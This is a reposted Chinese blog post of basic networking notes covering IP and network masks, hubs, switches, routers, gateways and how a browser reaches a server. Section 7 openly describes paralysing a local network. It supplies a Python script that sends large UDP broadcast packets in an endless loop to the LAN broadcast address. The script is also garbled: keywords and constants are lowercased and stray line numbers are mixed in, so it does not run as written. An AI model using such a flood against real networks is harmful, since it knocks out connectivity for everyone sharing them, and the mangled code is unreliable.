1. 常用的网络协议
icmp协议又叫:网络控制协议
2. 数据传输过程
3. 两台电脑通信
网络传输的是数据的信号而不是电流
4. ip地址网络号与主机号的确定规则
通过ip地址和网络掩码的二进制数实行按位与运算,计算的结果转换为十进制,非0的就是网络号,0的就是主机号
5. 最开始集线器解决多台电脑通信
但是集线器是以广播的形式发送数据,设备一多就会导致网络拥堵。
6. 使用交换机进行网络通信
单播写对方的mac地址,广播mac地址写6组ff:ff:ff:ff:ff:ff
7. 使用udp协议实现内网瘫痪
先根据ip地址和网络掩码二进制按位与计算出网络号,在使用udp往当前局域网(网络号)下面无线循环发广播,使局域网濒临瘫痪
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
import socket # 导入socket
def main():
try :
# 1、创建socket套接字
udp_socket = socket.socket(socket.af_inet, socket.sock_dgram) # socket.sock_dgram 这里是指定udp协议
# 2、指定地址
data_address = ( "192.168.255.255" , 64300 )
# 地址要是一个 元组,第一个"192.168.100.255"是内网的广播地址,第二个 64300 是你计算机当前的端口#
# 这个端口不必太在意,64300 只要不是被其他程序占用的就行,
# 3、发送数据
while true:
send_data = "1" * 57175
# 这里发送的数据可以随意点
udp_socket.sendto(send_data.encode( "utf-8" ), data_address)
# 第一个参数senddata.encode("utf-8")是要发送的数据,("utf-8")是设置发送数据的编码,
# 第二个参数(dataaddress)是发送数据的地址,也就是笔者内网的广播地址
except exception as result:
print ( "未知错误" + str (result))
if __name__ = = '__main__' :
main()
|
8. 使用路由器连接多个网络
路由器的作用:连接两个以上的网络为一个大网络
网关:具有转发数据能力的设备
当ab两台电脑不在同一个网络下想进行通信时,a电脑需要先把数据发送到默认网关,网关具有转发数据的能力,网关再把数据转发给b电脑,默认网关一般都是路由器
数据在转发的过程当中,ip地址不变,mac地址每转发一次就发生一次变化
9. 浏览器访问服务器的过程
(1)向dns服务器发送请求进行解析域名
(2)向http服务器发送3次握手
(3)握手成功后,向http服务器发送http格式的请求数据
(4)所有请求完毕后,向http服务器发送4次挥手
网络数据包发送过程当中源ip目标ip不变,源mac和目标mac每通过路由器网关转发一次就会发生一次变化
总结
本篇文章就到这里了,希望能给你带来帮助,也希望您能够多多关注服务器之家的更多内容!
原文链接:https://blog.csdn.net/weixin_42289273/article/details/119696173